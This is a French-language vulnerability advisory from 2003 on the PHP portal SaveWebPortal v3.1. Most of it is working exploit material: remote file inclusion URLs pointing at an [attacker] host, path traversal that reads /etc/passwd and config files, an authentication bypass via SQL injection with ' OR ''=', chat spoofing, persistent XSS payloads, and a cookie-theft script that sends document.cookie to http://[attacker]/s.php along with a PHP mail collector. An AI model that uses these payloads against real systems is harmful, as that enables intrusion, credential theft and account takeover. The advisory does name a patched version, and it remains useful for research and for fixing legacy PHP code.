SaveWebPortal v3.1 (PHP) Multiple Vulnerabilities

 Date de Publication: 2003-05-28
 Titre: SaveWebPortal v3.1 (PHP) Multiple Vulnerabilities
 K-Otik ID : 0125
 Exploitable à distance : Oui
 Exploitable en local : Oui

 
 * Description Technique - Exploit *
 
SaveWebPortal est un portail assez complet. Il comprend une partie admin, des bannières, un chat, gestion d'articles, une partie download, un forum,un guestbook, des liens, une partie membre, des sondages, et encore bien d'autres fonctions. Plusieurs failles touchent ce produit :

a) Include
~~~~~~~~~~
Commençons par les classiques failles include(). Pour rappel, cette faille permet d'inclure et d'afficher ou de faire executer un fichier externe et/ou local, selon la nature du code buggé. Ici ce sont des fichiers externes qu'on pourra inclure. Le premier fichier touché par cette faille, dans le dossier principal de SaveWebPortal, est
menu_sx.php et voici les lignes où se trouve la faille :
------------------------------------------------------------
<?
include ($CONTENTS_Dir."channels_menu.php");
?>
------------------------------------------------------------
En tapant l'url http://[target]/menu_sx.php?CONTENTS_Dir=http://[attacker]/, on inclure le fichier http://[attacker]/channels_menu.php qui sera lut ou bien executé, si il contientdu code PHP, sur le serveur [target].

Toujours dans le dossier principal, dans le fichier menu_dx.php, on peut voir la ligne :
------------------------------------------------
<? include($SITE_Path."poll/poll.php"); ?>
------------------------------------------------
On inclura donc le fichier http://[attacker]/poll/poll.php avec une url du type
http://[target]/menu_dx.php?SITE_Path=http://[attacker]/ .

Ensuite, dans le dossier /sms/, dans le fichier sms.php, on peut voir la ligne :
------------------------------------------------
<? require( $SITE_Path."sms/class.jm_sms.php" );
------------------------------------------------
http://[target]/sms/sms.php?SITE_Path=http://[attacker]/ inclura donc le fichier
http://[attacker]/sms/class.jm_sms.php .

Enfin, dans le dossier /poll/, les fichiers poll.php et viewpoll.php contiennent cette ligne :
------------------------------------------------
require("$SITE_Path"."poll/config_poll.php");
------------------------------------------------
On inclura le fichier http://[attacker]/poll/config_poll.php grâce à l'url
http://[target]/poll/poll.php?SITE_Path=http://[attacker]/
ou
http://[target]/poll/viewpoll.php?SITE_Path=http://[attacker]/

Les fichiers inclut sont éxecutés avec les droits et restrictions du serveur.

Cette faille nous permettra donc de faire sur le serveur tout ce que permet le code PHP : lire et écrire, executer des commandes systèmes,...

b) Redirection
~~~~~~~~~~~~~~
Voyons maintenant le problème de redirection.
Il y a plusieurs façon de rediriger en php. Par exemple utiliser la fonction header() comme
ceci : <? header("Location: [URL]"); ?> ou encore avec le javascript :
<script>window.location="[URL]";</script> ou <script>window.open('[URL]');</script>
ou bien d'autres choses. Rediriger vers une autre page peut servir à récuperer certaines infos, éventuellement dans le HTTP_REFERER, ou du moins des infos sur la machin, ou bien faire executer un script ou bien d'autres choses. La faille en question se trouve dans les fichiers suivants :
-------------------
forum/addtopic.php
forum/index.php
forum/reply.php
forum/view.php
download/download.php
chat/chat_page.php
-------------------

Voici les lignes de code se trouvant en début de fichier :
----------------------------------------------------------------------------------------------
$Login_Url = $SITE_Url."index.php?page=membership/login_page.php";
if ((!isset ($SW_COOKIE_UTENTE)) || (!isset ($SW_COOKIE_UTENTE_PW) || ($SW_COOKIE_UTENTE == "") || ($SW_COOKIE_UTENTE_PW == ""))){
?>
<script>
alert("<?echo $L_AccessNOK?>");
window.location = "<?echo $Login_Url?>";
</script>
<?
exit;
}
?>
----------------------------------------------------------------------------------------------

Dans la première ligne, on peut voir que la variable $Login_Url est définie comme étant une URL, et commence par la variable $SITE_Url. Cette dernière est normalement définie dans le fichier config.inc.php, mais il n'est pas inclut. La variable n'est donc pas définie. Il suffit donc de créer la page http://[attacker]/index.php et d'y mettre le code qu'on veut faire visiter, et d'utiliser l'url :
http://[target]/[DIR/FILE].php?SITE_Url=http://[attacker]/&SW_COOKIE_UNTENTE_PW=0&SW_COOKIE_UTENTE=0
pour y être redirigé. [DIR/FILE] est un des fichiers cités plus haut. La ligne de javascript contenant du PHP qui redirige est :
window.location = "<?echo $Login_Url?>";
Mais avant on peut voir :
alert("<?echo $L_AccessNOK?>");
On peut donc aussi faire afficher un petit message en popup à celui qui va être redirigé, en ajoutant &L_AccessNOK=[MESSAGE] à l'url vue plus haut.

c) Lecture de fichiers
~~~~~~~~~~~~~~~~~~~~~~
Comme tout en PHP, il y a plusieurs façons de lire le contenu d'un fichier. Et forcemment, ce principe est loin d'être infaillible point de vue sécurité.
Par exemple, dans le fichier contents/article.php, on peut voir le code (que je commente) :
---------------------------------------------------
$fd = fopen ("$CONTENTS_Dir/$dir/$filename", "r");
// On ouvre le fichier $CONTENTS_Dir/$dir/$filename en lecture
$titolo = fgets($fd, 4096); // on lit les 4096 premiers octets
while (!feof ($fd)) {
$buffer = fgets($fd, 4096);
$testo = $testo.$buffer;
}
// On enregistre le contenu dans la variable $testo
fclose ($fd);
// on ferme le fichier ouvert
$testo = str_replace ("\n", "<br>", $testo);
$testo = str_replace ("##END-HOME-TEXT##", "", $testo);
// on remplace le saut à la ligne par <br> et on supprime ##END-HOME-TEXT## dans $testo
[...]

<tr>
<td class=PageArticle width="100%" align=left><?echo $testo?></td>
</tr>
// On imprime $testo dans un tableau
--------

$testo est la variable qui contient le contenu du fichier $CONTENTS_Dir/$dir/$filename . Or il se fait que ni $CONTENTS_Dir, ni $dir, ni $filename ne sont définit dans
contents/article.php. On peut donc lire n'importe quel fichier, interne ou externe (ce qui jouerait comme un proxy) au localhost. Il y a une petite restriction, mais extrêmement facile à contourner, c'est qu'il faut au moins deux slash (/) dans le path/l'url du fichier à inclure.

Pour lire par exemple le fichier http://[website]/path/fichier.ext, il faudra taper l'url :
http://[target]/contents/article.php?CONTENTS_Dir=http://[website]&dir=path&filename=fichier.ext

Pour lire http://[website]/fichier.ext, l'url :
http://[target]/contents/article.php?CONTENTS_Dir=http:/&dir=[website]&filename=fichier.ext
ou
http://[target]/contents/article.php?CONTENTS_Dir=http:&filename=[website]/fichier.ext
ou encore
http://[target]/contents/article.php?CONTENTS_Dir=http://[website]&dir=.&filename=fichier.ext


Pour lire le fichier ../../../../etc/passwd, l'url :
http://[target]/contents/article.php?CONTENTS_Dir=../..&dir=../..&filename=etc/passwd
ou
http://[target]/contents/article.php?CONTENTS_Dir=../../..&dir=../etc&filename=passwd

Ou encore pour lire http://[target]/config.inc.php :
http://[target]/contents/article.php?CONTENTS_Dir=.&dir=..&filename=config.inc.php
ou
http://[target]/contents/article.php?CONTENTS_Dir=..&dir=.&filename=config.inc.php

Avec bien sûr à chaque fois beaucoup de combinaisons differentes possibles. Rappelons juste que le . signifie qu'on ne change pas de dossier, et le .. qu'on
va dans le dossier parent.

Un autre fichier permet de lire n'importe quel fichier externe ou interne. Il s'agit du fichier forum/view.php.
Dans celui-ci, on peut voir les lignes :
------------------------------------------------------------------------------------------
[...]
if ((!isset ($SW_COOKIE_UTENTE)) || (!isset ($SW_COOKIE_UTENTE_PW) || ($SW_COOKIE_UTENTE == "") || ($SW_COOKIE_UTENTE_PW == ""))){
?>
<script>
alert("<?echo $L_AccessNOK?>");
window.location = "<?echo $Login_Url?>";
</script>
<?
exit;
}
[...]
if (!isset($mode))
{
$mode = 'index';
}
[...]
switch($mode)
{
case 'index':
$files = array();
$msg = file($FORUM_Data_Dir . $topic);
$msg[] = $value;
for (reset ($msg); list ($key, $value) = each ($msg); ) {
if ($key == "0") {
[...]
echo "&nbsp;&nbsp;<img src=$IMAGES_Url"."msg.gif border=0 align=absmiddle> $value\n";
echo "</TD></TR>\n";
}
[...]
------------------------------------------------------------------------------------------
On voit d'abord que si $SW_COOKIE_UTENTE et $SW_COOKIE_UTENTE_PW sont vides, c'est-à-dire qu'on est pas loggé, on est redirigé.
Pour permettre de faire executer le code qui donnera à l'attaqueur l'opportunité de lire des fichiers, il faut donc éviter cette redirection, en assignant une valeur à ces
deux variables. Par exemple, si on va sur
http://[target]/forum/view.php?SW_COOKIE_UTENTE=1&SW_COOKIE_UTENTE_PW=1, on ne sera
pas redirigé. Ceci est bien sûr inutile si on est loggé en tant que membre.
On voit aussi qu'il faut que la valeur de $mode soit 'index', et aussi que 'index' lui est donné par défaut. Pour faire executer le code interessant, il faudra donc mettre &mode=index ou rien. Le script lira le fichier $FORUM_Data_Dir . $topic .
On pourra donc lire par exemple le fichier http://[target]/config.inc.php avec l'url :
http://[target]/config.inc.php?topic=../config.inc.php&SW_COOKIE_UTENTE=1&SW_COOKIE_UTENTE_PW=1
ou
http://[target]/config.inc.php?FORUM_Data_Dir=../config.inc.php&SW_COOKIE_UTENTE=1&SW_COOKIE_UTENTE_PW=1
ou
http://[target]/config.inc.php?FORUM_Data_Dir=..&topic=/config.inc.php&SW_COOKIE_UTENTE=1&SW_COOKIE_UTENTE_PW=1
etc...


Il ne reste plus que trouver les bons fichiers à lire, comme celui que j'ai pris comme exemple; config.inc.php, mais aussi les .htpasswd, le classique /etc/passwd ou /etc/shadow,...

d) Listage de dossiers
~~~~~~~~~~~~~~~~~~~~~~
Le résultat d'une faille qu'on retrouve le plus souvent dans SaveWeb est le listage du contenu d'un dossier choisit.
Voyons par exemple le contenu du fichier contents/search_form.inc.php :
-----------------------------------------------------------------------------------------
$ind2 = 0;
$Dir2 = $CONTENTS_Dir."$list_dir/";
$dirdir=opendir($Dir2);
while (false !== ($year_dir = readdir($dirdir))) {
if ($year_dir == "." || $year_dir == "..")
continue;
$year_array [$ind2] = $year_dir;
$ind2 ++;
}
closedir($dirdir);
@rsort ($year_array);
?>
[...]
<select name="year_selected">
<option selected value=""><?echo $L_All?>
<?
for ($cc=0; $cc < $ind2; $cc++){
?>
<option value=<? echo $year_array[$cc]?>><? echo $year_array[$cc]?>
<?
} // end for

?>

</select>
-----------------------------------------------------------------------------------------
On enregistre d'abord le contenu du dossier $CONTENTS_Dir."$list_dir/" dans la variable $year_array, puis on l'affiche plus tard dans une balise <select>.
Si on se rend par exemple sur
http://[target]/contents/search_form.inc.php?list_dir=.. ou
http://[target]/contents/search_form.inc.php?CONTENTS_Dir=.. , on verra
s'afficher dans un menu déroulant le contenu du dossier source du site.

Un autre exemple, avec un code different, plus simple; le fichier /ecard/ecard.php :
------------------------------------------------------------------
<?
$cc = 0;

$handle=opendir($ECARDS_Images_Dir);

while (false !== ($directory = readdir($handle))) {

if (strstr($directory,"."))
continue;

$cc++;
$args[$cc] = $directory;

if ($cc == 3){
?>
// On imprime le contenu de $args[]
------------------------------------------------------------------
Ici, c'est le dossier $ECARDS_Images_Dir qui est listé. Mais les fichiers ne seront pas affichés dans ce cas-ci, rien que les dossiers,
car les lignes if (strstr($directory,"."))
continue;
vérifie que ce qui va être affiché ne contient pas un ., donc les fichiers avec extensions ou les dossiers contenant un point ne seront pas affichés.

Un autre fichier, qui a encore un code different, mais avec les mêmes consèquences, est download/download.php :
-------------------------------------------------------------------------------------------
if (!(isset($SITE_Name))){
include("../config.inc.php");
}
[...]
if ((!isset ($SW_COOKIE_UTENTE)) || (!isset ($SW_COOKIE_UTENTE_PW) || ($SW_COOKIE_UTENTE == "") || ($SW_COOKIE_UTENTE_PW == ""))){

?>
<script>
alert("<?echo $L_AccessNOK?>");
window.location = "<?echo $Login_Url?>";
</script>
<?
exit;
}
[...]
$handle=opendir($DOWNLOAD_Files_Dir);

while ($file = readdir($handle)){
if ($file == "." or $file == "..") {
continue;
} else {
$filelisting[]="$DOWNLOAD_Files_Dir$file";
}
}
-------------------------------------------------------------------------------------------
Dans celui-ci, on ne pourra pas directement taper le dossier à lister, il y a des conditions à remplir avant. On voit clairement que le dossier listé sera $DOWNLOAD_Files_Dir. Or cette variable est définie dans ../config.inc.php .
On peut voir dans ces deux lignes :
if (!(isset($SITE_Name))){
include("../config.inc.php"); }
que config.inc.php ne sera pas inclut si SITE_Name a une valeur. Il faudra donc lui en donner une. On voit aussi qu'on a le même problème de redirection que vu plus haut, il faut donc aussi remplir les variables SW_COOKIE_UTENTE et SW_COOKIE_UTENTE_PW.
L'url pour lister par exemple le dossier source du site sera donc du style :
http://[target]/download/download.php?SITE_Name=1&DOWNLOAD_Files_Dir=..&SW_COOKIE_UTENTE=1&SW_COOKIE_UTENTE_PW=1

Pour les autres fichiers, le principe est le même, avec quelques nuances dans l'affichage du listage et le code PHP utilisé.
En voici la liste :
http://[target]/contents/archive.php?list_dir=[PATH]
ou
http://[target]/contents/archive.php?CONTENTS_Dir=[PATH]
listera le tout d'une façon un peu chaotique :p

http://[target]/contents/years_archive.php?list_dir=[PATH]
ou
http://[target]/contents/years_archive.php?CONTENTS_Dir=[PATH]
affichera tout les fichiers et dossiers contenus dans le dossier [PATH] d'une façon
bien propre :)

http://[target]/admin/admin_contents/preview.php?dir=[PATH]&control_position=no
ou
http://[target]/admin/admin_contents/preview.php?CONTENTS_Dir=[PATH]&control_position=no listera les fichiers et sous-dossiers du dossiers [PATH]. Il faudra ici
afficher le code source html, le listage se trouve dans des liens du type :
<a class=PageLink href=index.php?page=contents/article.php&filename=[FICHIER/DOSSIER]&dir=..>

http://[target]/links/links.php?dir=[PATH]
ou
http://[target]/links/links.php?LINKS_Dir=[PATH]
listera le dossier [PATH] dans un <select> et en texte.

Enfin, l'url
http://[target]/ecard/choose_card.php?ECARDS_Images_Dir=[PATH]
ou
http://[target]/ecard/choose_card.php?dir=[PATH]
listera [PATH] et affichera le contenu en html dans des lignes du type :
<img src="[FICHIER/DOSSIER]" width="150" height="100" border="0" alt="">

On pourra donc connaître toute l'arborescence d'un site contenant SaveWeb.

e) Accès à des infos/options reservées
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Toutes les rubriques; chat, forum, download, guestbook, sondages,... sont autorisées uniquement aux membres inscrits. Par conséquent, les données se trouvant sur ces pages leur sont interdites aussi. Or, dans le dossier du chat (/chat/), dans chatmsg.php, on peut voir la ligne :
<? readfile("$CHAT_f"); ?>
La fonction readfile() lit et retourne le contenu d'un fichier. La variable $CHAT_f est définie dans config.inc.php : public/chat/chat-msg.dat.
N'importe qui, membre ou pas, peut donc visualiser le chat actuel en affichant le  fichier http://[target]/public/chat/chat-msg.dat ou encore http://[target]/chat/chatmsg.php.

Toujours dans le même dossier, on peut lire dans lista.php :
-----------------------------------------------------------------------------------------
<?
$found = 0;
$userfile = file("$CHAT_u");
echo "<b>&nbsp;$L_CHAT_UsersInChat:</b><br><br>";
for($i = 0; $i < count($userfile); $i++) {
$pp = $i + 1;
$utente = trim ($userfile[$i]);
echo "$pp) ";

if ($utente == $nickname){
$found = 1;
}
?>
<a [...]><?echo $utente?></a>
<br>
<?
} // end for
-----------------------------------------------------------------------------------------

Le contenu de $CHAT_u, lui aussi définit dans config.inc.php comme étant public/chat/chat-users.dat, est à son tour affiché.
Mais on peut y acceder directement par l'url http://[target]/public/chat/chat-users.dat .

On peut alors recontruire un semblant de chat, sans être visible dans la liste,
en voyant les connectés au chat et ce qu'ils disent.
Par exemple le fichier http://[website]/SaveWebChat.php contenant le code :
------------------------------------------------------------------------------------------------
<html>
<head>
<meta http-equiv=refresh content="10" url="<? echo $PHP_SELF ?>">
</head>
<body>
<table border="0">
<tr>
<td><u>Users :<u><br><textarea cols=20 rows=30>
<? include($target."/public/chat/chat-users.dat"); ?></textarea></td>
<td><? include($target."/public/chat/chat-msg.dat"); ?></td>
</tr>
</table>
</body>
</html>
------------------------------------------------------------------------------------------------
et étant utilisé avec une url du type :
http://[website]/SaveWebChat.php?target=http://[target]
Attention bien sûr de ne pas permettre l'accès à cette page si elle est utilisée,
car elle contient une faille include ;) Mais c'est absolument nécessaire pour
le fonctionnement de ce script... personne n'est parfait :p

Il y a une autre façon de visualiser les messages du chat, qui est d'accèder au fichier
http://[target]/chat/chatmsg.php, qui contient la ligne :
<? readfile("$CHAT_f"); ?>
et aucune vérification d'accès.

Le même type de faille se trouve dans le fichier /download/download.php. On peut y voir :
---------------------------------------------------------------------------------------------
$today = date("d/m/Y");
$log_rec = "$today User:$SW_COOKIE_UTENTE From:$REMOTE_ADDR Object:$file Total:$countplus\n";
$fd = fopen($DOWNLOAD_Log_File,"a");
fwrite($fd, $log_rec);
fclose($fd);
---------------------------------------------------------------------------------------------

On voit qu'un user téléchargeant un fichier avec une url du type
http://[website]/download/download.php?file=[FILE] fait enregistrer par le script,
dans un fichier $DOWNLOAD_Log_File, la date, le nom d'utilisateur, l'ip de l'utilisateur,
le fichier téléchargé et le nombre de fois que ce fichier a été téléchargé.
La ligne ressemblera à quelque chose du style :
03/10/2002 User:frogman From:213.172.213.10 Object:dafile.zip Total:10
Le fichier $DOWNLOAD_Log_File est trouvable à une url du type :
http://[target]/public/download/counters/download_log.txt

Enfin tout les messages du guestbook sont lisibles par n'importe qui à l'url
http://[target]/public/guestbook/gb.dat

Revenons sur le chat. Dans le dossier /chat/, on peut voir un fichier nommé top.php.
On peut y voir ces ligne :
------------------------------------------------------------------------------------------
// [La première partie du code vérifie si on est correctement loggé et si l'user existe]
include("../config.inc.php");
include("../common.inc.php");
if ((!isset ($SW_COOKIE_UTENTE)) || (!isset ($SW_COOKIE_UTENTE_PW) || ($SW_COOKIE_UTENTE == "") || ($SW_COOKIE_UTENTE_PW == ""))){
?>
<script>
alert("<?echo $L_AccessNOK?>");
top.close();
</script>
<?
exit;
}
$in_status = "A";
$conn = OpenDB();
$sql ="SELECT * FROM nicks WHERE username='$SW_COOKIE_UTENTE'";
$Result = PerformDB($sql, $conn);
[...]
while ($row = mysql_fetch_array($Result)) {
$in_nickname = $row[nickname];
$in_status = $row[status];
break;
}
[...]
CloseDB($conn);
if ($in_status != "A"){
?>
<script>
alert("<?echo $L_NicknameSusp?>");
top.close();
</script>
<?
exit;
} ?>
[...]
// [A partir d'ici, on écrit dans le chat]
<?
$file = file("$CHAT_f");
[...]
$date=(date("d-m-Y"));
$time=(date("H:i"));
if ($action == "start") {
$file = fopen("$CHAT_f", "a");
fputs($file,"<font color=$colore>$nickname $L_CHAT_IsIn $date $time</font><br>\n");
fclose($file);
} else {
$chat = str_replace("<","&lt;",$chat);
$chat = str_replace(">","&gt;",$chat);
$chat = str_replace("~","-",$chat);
$chat = str_replace("\\\"","&quot;",$chat);
$chat = str_replace("\'","'",$chat);
$file = fopen("$CHAT_f", "a");
if ($emoticon != "null") {
$image_ref = $IMAGES_Url."emoticons/".$emoticon;
$buffer_write = "<font color=$colore>$nickname - $chat</font>&nbsp;<img border=0 src=$image_ref></img><br>\n";
} else {
$buffer_write = "<font color=$colore>$nickname - $chat</font><br>\n";
}
fputs($file,$buffer_write);
fclose($file);
}
?>
------------------------------------------------------------------------------------------
Il y a donc une première vérification, qui regarde si les variables $SW_COOKIE_UTENTE et
$SW_COOKIE_UTENTE_PW ne sont pas vides. Sinon, on quitte la fenetre ( javascript : top.close(); )
et on execute pas le scrit ( PHP : exit; ).
Si on veut donc rester sur la page chat/top.php, il faudra taper l'url
http://[target]/chat/top.php?SW_COOKIE_UTENTE=1&SW_COOKIE_UTENTE_PW=1 ( ce qui est une
première vulnérabilité du script).
Ensuite, on voit une vérification SQL :
SELECT * FROM nicks WHERE username='$SW_COOKIE_UTENTE'
Le deuxième problème se trouve ici. Il n'y a de vérification que pour le pseudo, pas
pour le password !
Si le login n'existe pas, la fenêtre est encore fermée et le script quitté.
Si on veut rester sur top.php, l'url sera donc :
http://[target]/chat/top.php?SW_COOKIE_UTENTE=[EXISTANT USER]&SW_COOKIE_UTENTE_PW=1
Par exemple :
http://[target]/chat/top.php?SW_COOKIE_UTENTE=admin&SW_COOKIE_UTENTE_PW=1
Mias vous dire "encore faut-il connaître un pseudo membre". Et bien ce n'est même
pas obligatoire, à condition que le serveur ne filtre pas les ', car la requête SQL
aussi contient une faille.
Si on donne ' OR ''=' comme valeur à SW_COOKIE_UTENTE, la requête deviendra :
SELECT * FROM nicks WHERE username='' OR ''='' , ce qui retournera vrai.
Donc une solution serait de mettre l'url :
http://[target]/chat/top.php?SW_COOKIE_UTENTE='%20'OR%20''='&SW_COOKIE_UTENTE_PW=1
Si, comme je l'ai dit, le caractère ' n'est pas filtré.
C'est tout pour l'authentification.
Voyons maintenant ce que peut nous permettre de faire ce fichier.
C'est le fichier qui sert à annoncer la connection d'un user et à afficher ce que les
users disent.
Il y a 3 situations où des données seraient affichées sur le chat :
- Quand $action vaut 'start' ( connection d'un membre )
- Quand $action ne vaut pas 'start' et que $emoticon ne vaut pas 'null' (chatter avec un smiley)
- Quand $action ne vaut pas 'start' et que $emoticon vaut 'null' (chatter sans smiley)

La première situation affichera ceci :
<font color=[$colore]>[$nickname] [MESSAGE D'ENTRéE] [DATE] [HEURE]</font><br>
avec un message d'entrée du type "vient de se connecter".

La deuxième situation affichera :
<font color=[$colore]>[$nickname] - [$chat]</font>&nbsp;<img border=0 src=[SMILEY]></img><br>

Et la troisième :
<font color=[$colore]>[$nickname] - [$chat]</font><br>

On peut donc, grâce à top.php :
- Simuler la connection d'un membre, même non-existant
- Parler sur le chat, sans se logger, avec un pseudo au choix, même non-existant.

Pour simuler la connection d'un membre, on tapera une url du type :
http://[target]/chat/top.php?action=start&nickname=[PSEUDO]&colore=[COULEUR]&SW_COOKIE_UTENTE=[pseudo existant]&SW_COOKIE_UTENTE_PW=1
ou
http://[target]/chat/top.php?action=start&nickname=[PSEUDO]&colore=[COULEUR]&SW_COOKIE_UTENTE=[' OR ''=']&SW_COOKIE_UTENTE_PW=1
Par exemple, si le pseudo 'admin' existe, et qu'on veut afficher en rouge le message d'entrée
de 'John', qu'il existe ou pas, on tapera l'url :
http://[target]/chat/top.php?action=start&nickname=John&colore=red&SW_COOKIE_UTENTE=admin&SW_COOKIE_UTENTE_PW=1
On verra alors, si le message d'entrée est 'vient de se connecter.', un message du type :
"John vient de se connecter. 16-10-02 16:23"
en rouge.

Pour parler avec un smiley, il faudra taper une url du type :
http://[target]/chat/top.php?colore=[COULEUR]&nickname=[PSEUDO]&chat=[TEXTE]&emoticon=[SMILEY]&SW_COOKIE_UTENTE=[BYPASS]&SW_COOKIE_UTENTE_PW=1
[BYPASS] étant ' OR ''=' ou un pseudo existant (marre de recopier :)).
Par exemple, pour dire "I'm smoking" en bleu avec un smiley qui fume et avec le pseudo
'youpiyeah', il faudra taper l'url :
http://[target]/chat/top.php?colore=blue&nickname=youpiyeah&chat=I'm%20smoking&emoticon=smoking.gif&SW_COOKIE_UTENTE=admin&SW_COOKIE_UTENTE_PW=1
à condition que l'user 'admin' existe.
Cette ligne donnera un code html du genre :
<font color=blue>youpiyeah - I'm smoking</font>&nbsp;<img border=0 src=images/emoticons/smoking.gif></img><br>
Si $IMAGES_Url vaut 'images/', ce qui est le repertoire par défaut.
Voici la liste des smileys disponibles dans SaveWebPortal version 3.1 :
---------------------------------------------------------------
angry.gif crazy.gif help.gif love.gif supersmile.gif
blabla.gif cry.gif kiss.gif nono.gif surprise.gif
bye.gif drunk.gif kiss2.gif sleep.gif telephone.gif
chat.gif fuckoff.gif laugh.gif smoking.gif veryangry.gif
---------------------------------------------------------------

Enfin, pour écrire du texte sans y mettre de smiley, on aura une url du type :
http://[target]/chat/top.php?emoticon=null&colore=[COULEUR]&nickname=[PSEUDO]&chat=[TEXTE]&SW_COOKIE_UTENTE=[BYPASS]&SW_COOKIE_UTENTE_PW=1
Par exemple, pour dire "hello" en vert avec le pseudo 'admin', et si le caractère ' n'est pas
filtré, on devra taper l'url :
http://[target]/chat/top.php?emoticon=null&colore=green&nickname=admin&chat=hello&SW_COOKIE_UTENTE='%20OR%20''='&SW_COOKIE_UTENTE_PW=1
Les variables SW_COOKIE_UTENTE et SW_COOKIE_UTENTE_PW ne seront pas vide,
la vérirication SQL sera validée, et le code HTML suivant s'affichera sur le chat :
<font color=green>admin - hello</font><br>
sans qu'admin ce soit loggé, et même si ce n'est pas lui.


Comme on peut simuler la connexion d'un membre, on peut aussi simuler une déconnexion.
En effet, le fichier chat/erase_user.php, créé à cette intention, ne contient lui non plus
aucune vérification quant à son accès.
On peut y voir le code :
---------------------------------------------------------------------------------------
[...]
date=(date("d-m-Y"));
$time=(date("H:i"));
$file_chat = fopen("$CHAT_f","a");
fputs($file_chat,"<font color=$colore>$user_nickname $L_CHAT_IsOut $date $time<br>\n");
fclose($file_chat);
?>
---------------------------------------------------------------------------------------
$L_CHAT_IsOut est le message de déconnexion, par exemple 'vient de se déconnecter.'.
Pour faire afficher le message
'admin vient de se déconnecter' en rouge, il suffira d'accèder à l'url :
http://[target]/chat/erase_user.php?colore=red&user_nickname=admin
Le code HTML serait, dans ce cas-ci :
<font color=red>admin vient de se déconnecter. 16-10-02 18:33<br>


f) XSS permanent
~~~~~~~~~~~~~~~~
Je rapelle que faire du XSS c'est faire executer un script javascript, vbscript, HTML
ou autre directement sur un site vulnérable.
Les deux fichiers vus juste en haut, /chat/erase_user.php et /chat/top.php sont
vulnérables à un XSS permanent.
En effet, il n'y a qu'une variable, dans top.php, qui est filtrée contre le XSS; la variable
$chat, contenant le texte est affiché, ce qui est logique puisque c'est la seul variable
normalement modifiable par l'user :
--------------------------------------------
$chat = str_replace("<","&lt;",$chat);
$chat = str_replace(">","&gt;",$chat);
$chat = str_replace("~","-",$chat);
$chat = str_replace("\\\"","&quot;",$chat);
$chat = str_replace("\'","'",$chat);
--------------------------------------------
Si on entre le script <script>alert('hello')</script>, il sera remplacé par
&lt;script&gt;alert('hello')&lt;/script&gt; et ne sera pas executé, car interpreté
comme du texte.
Pour l'accès, on utilisera les mêmes failles, on changera juste certaines données
en script.
Voici les urls utilisables, avec encore une fois [BYPASS] étant un pseudo existant ou bien
' OR ''=' et en comptant que $IMAGES_Url vaut 'images/' (valeur par défaut) :
- http://[target]/chat/top.php?action=start&nickname=<script>[script]</script>&SW_COOKIE_UTENTE=[BYPASS]&SW_COOKIE_UTENTE_PW=1
et
http://[target]/chat/top.php?action=start&colore=><script>[script]</script&SW_COOKIE_UTENTE=[BYPASS]&SW_COOKIE_UTENTE_PW=1
donneront :
<font color=><script>[script]</script> $L_CHAT_IsIn $date $time</font><br>

- http://[target]/chat/top.php?colore=><script>[script]</script&emoticon=[SMILEY]&SW_COOKIE_UTENTE=[BYPASS]&SW_COOKIE_UTENTE_PW=1
et
http://[target]/chat/top.php?nickname=<script>[script]</script>&emoticon=[SMILEY]&SW_COOKIE_UTENTE=[BYPASS]&SW_COOKIE_UTENTE_PW=1
donneront :
<font color=><script>[script]</script> - </font>&nbsp;<img border=0 src=images/emoticons/[SMILEY]></img><br>

- http://[target]/chat/top.php?emoticon=%20width=0></img><script>[script]</script><img%20width=0&SW_COOKIE_UTENTE=[BYPASS]&SW_COOKIE_UTENTE_PW=1
donnera :
<font color=> - </font>&nbsp;<img border=0 src=images/emoticons/ width=0></img><script>[script]</script><img width=0></img><br>


- http://[target]/chat/erase_user.php?user_nickname=<script>[script]</script>
et
http://[target]/chat/erase_user.php?colore=><script>[script]</script
donneront :
<font color=><script>[script]</script> $L_CHAT_IsOut $date $time<br>

Et vous trouverez bien par vous même les urls et résultats avec top.php?emoticon=null ;)

On peut également injecter du script dans le champ "site web" du guestbook et
dans le sujet et le corps des messages du forum.

Un script interessant à faire executer dans SaveWeb serait un script récuperant le cookie,
puisque les cookies contiennent login et pass.
Ca pourrait être un javascript du type :
----------------------------------------------------------------------------
<script>window.open('http://[attacker]/s.php?c='+document.cookie');</script>
----------------------------------------------------------------------------
Transformable par :
----------------------------------------------------------------------------
<form name=a><input type=hidden name=o value=http://[attacker]/s.php?c=></form>
<script>window.open(document.a.o.value+document.cookie);</script>
----------------------------------------------------------------------------
si les ' sont filtrés.
Ici, http://[attacker]/s.php pourrait par exemple contenir le code :
------------------------------------
<?
mail("","Cookie","$c");
?>
------------------------------------
Ce qui enverrait à la valeur de $c comme corps et le mot 'Cookie' comme sujet.


  * Versions Vulnérables *

SaveWebPortal v3.1.
 

  * Solution *

Utiliser
SaveWebPortal v3.4
http://www.itworking.com/index.php?page=downloads&file=SaveWebPortal3.4.zip


  * Crédits *
 
Faille découverte par
frog-m@n et l'équipe de PhpSecure (Mai 2003).